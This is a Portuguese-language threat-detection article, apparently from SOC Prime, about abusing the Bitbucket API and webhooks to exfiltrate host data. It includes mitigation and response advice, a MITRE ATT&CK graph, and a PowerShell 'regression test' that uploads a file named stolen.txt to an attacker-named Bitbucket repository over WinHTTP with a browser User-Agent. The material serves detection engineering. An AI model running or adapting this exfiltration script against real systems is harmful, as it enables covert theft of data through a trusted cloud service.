SOC Prime Bias: Médio

06 Abr 2026 17:58

Abuso da API do Bitbucket: Um Truque Simples para Roubo de Dados Discreto

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Abuso da API do Bitbucket: Um Truque Simples para Roubo de Dados Discreto
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Este conceito de prova mostra como um pequeno programa em C pode abusar da API de webhook do Bitbucket para exfiltrar telemetria do host de um sistema Windows comprometido. Ele coleta detalhes como nome do host, versão do SO, informações da CPU e dados do adaptador de rede, então esconde a saída no campo de descrição de um webhook recém-criado, mesclando-se silenciosamente no tráfego normal da nuvem.

Investigação

O autor compartilha o código fonte completo, etapas de compilação e exemplos de solicitações curl para criar, inspecionar e deletar o webhook usado para vazamento de ponta a ponta. O binário compilado foi executado em um host Windows 10 x64 22H2 em um sandbox ANY.RUN e transmitiu dados sem alertas evidentes. O artigo também observa abuso semelhante de plataformas Git documentado em atividades recentes de APT.

Mitigação

Monitore HTTPS de saída para o Bitbucket e outros hospedeiros de código, e sinalize chamadas de API que criam webhooks inesperadamente ou contêm texto de descrição estranha. Exija autenticação forte, limite e escopo tokens de API, aplique o mínimo privilégio e audite regularmente mudanças na configuração do repositório.

Resposta

Ao detectar, bloqueie tráfego de saída do Bitbucket do host, revogue tokens expostos de API e faça um inventário de webhooks em todos os repositórios para remover entradas maliciosas. Colete artefatos de endpoint para forense, procure por cargas úteis subsequentes e gire credenciais para contas de CI/CD e desenvolvedor.

"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Ação</b> – Coletar informações do sistema"] class action_collect action tech_sysinfo["<b>Técnica</b> – <b>T1082 Descoberta de Informações do Sistema</b><br/><b>Descrição</b>: Coleta detalhes do host como nome do host, versão do SO, arquitetura da CPU, contagem de processadores, drives lógicos e endereços IP."] class tech_sysinfo technique tool_bitbucket["<b>Ferramenta</b> – Bitbucket Cloud REST API<br/><b>Método</b>: POST com nome de usuário codificado em Base64:APIu2011token"] class tool_bitbucket tool tech_webservice["<b>Técnica</b> – <b>T1102.002 Serviço Web: Comunicação Bidirecional</b><br/><b>Descrição</b>: Usa uma API de serviço web legítima para enviar e receber dados."] class tech_webservice technique tech_exfil_repo["<b>Técnica</b> – <b>T1567.001 Exfiltração Sobre Serviço Web: Exfiltração para Repositório de Código</b><br/><b>Descrição</b>: Faz upload de dados coletados para um repositório de hospedagem de código via API do serviço."] class tech_exfil_repo technique tech_exfil_webhook["<b>Técnica</b> – <b>T1567.004 Exfiltração Sobre Serviço Web: Exfiltração Sobre Webhook</b><br/><b>Descrição</b>: Envia dados através de um webhook configurado para transportar informações para fora do ambiente."] class tech_exfil_webhook technique tech_obfuscation["<b>Técnica</b> – <b>T1001.003 Ofuscação de Dados: Personificação de Protocolo ou Serviço</b><br/><b>Descrição</b>: Disfarça tráfego malicioso como chamadas de API normais para um serviço confiável."] class tech_obfuscation technique %% Connections action_collect –>|usa| tech_sysinfo tech_sysinfo –>|fornece dados para| tool_bitbucket tool_bitbucket –>|utiliza| tech_webservice tool_bitbucket –>|cria webhook para| tech_exfil_repo tool_bitbucket –>|cria webhook para| tech_exfil_webhook tech_webservice –>|é disfarçado por| tech_obfuscation tech_exfil_repo –>|exfiltra dados via| tech_obfuscation tech_exfil_webhook –>|exfiltra dados via| tech_obfuscation "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: o Cheque de Pré-voo de Telemetria & Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e almejam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    O adversário simulado obteve um pequeno conjunto de dados (por exemplo, C:tempstolen.txt) e deseja exfiltrá-lo para um repositório privado do Bitbucket sem levantar suspeitas. Para se misturar com ferramentas de desenvolvimento legítimas, o atacante escolhe o objeto COM nativo WinHTTP (WinHttp.WinHttpRequest.5.1) porque é comumente presente em sistemas Windows e invoca diretamente as funções WinHttpConnect and WinHttpSendRequest que a regra de detecção observa.

    1. Crie um arquivo temporário contendo dados de exfiltração fictícios.
    2. Instancie o objeto COM WinHTTP.
    3. Abra uma conexão POST para https://api.bitbucket.org/2.0/repositories/<equipe>/<repo>/src.
    4. Defina os cabeçalhos apropriados (Authorization: Basic …, Content-Type: multipart/form-data).
    5. Envie o conteúdo do arquivo.
    6. Verifique a resposta HTTP 200.

    Esta sequência exata faz com que o Sysmon registre um evento NetworkConnect onde o processo is powershell.exe e a função inclui funções WinHttpConnect and WinHttpSendRequest, satisfazendo a regra Sigma.

  • Script de Teste de Regressão:

    # --------------------------------------------------------------
    # Exfiltração da API Bitbucket via WinHTTP (Disparo da Regra Sigma)
    # --------------------------------------------------------------
    $tempFile   = "C:tempstolen.txt"
    $repoOwner  = "evilcorp"
    $repoName   = "leaked-data"
    $username   = "eviluser"
    $appPassword = "APPPASSWD"   # Base64 de "username:appPassword"
    $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword"))
    
    # 1. Crie dados fictícios se não estiverem presentes
    if (-not (Test-Path $tempFile)) {
        "Dados sensíveis coletados pelo adversário" | Set-Content -Path $tempFile -Encoding UTF8
    }
    
    # 2. Construa a carga útil multipart/form-data
    $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)"
    $body = @"
    --$boundary
    Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)"
    Content-Type: application/octet-stream

$(Get-Content $tempFile -Raw) –$boundary– “@

# 3. Inicializar o objeto COM WinHTTP
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"

# 4. Abra a solicitação POST
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false)   # solicitação síncrona

# 5. Defina os cabeçalhos necessários
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

# 6. Envie a carga útil (isso aciona WinHttpConnect + WinHttpSendRequest)
$winHttp.Send($body)

# 7. Saída do status da resposta para verificação
Write-Host "Status HTTP:" $winHttp.Status
Write-Host "Corpo da Resposta:" $winHttp.ResponseText
  • Comandos de Limpeza:

    # Remova arquivo temporário
    Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue
    
    # Opcionalmente revogue manualmente a senha do aplicativo Bitbucket via interface web
    Write-Host "Limpeza completa. Lembre-se de excluir o arquivo carregado do repositório, se necessário."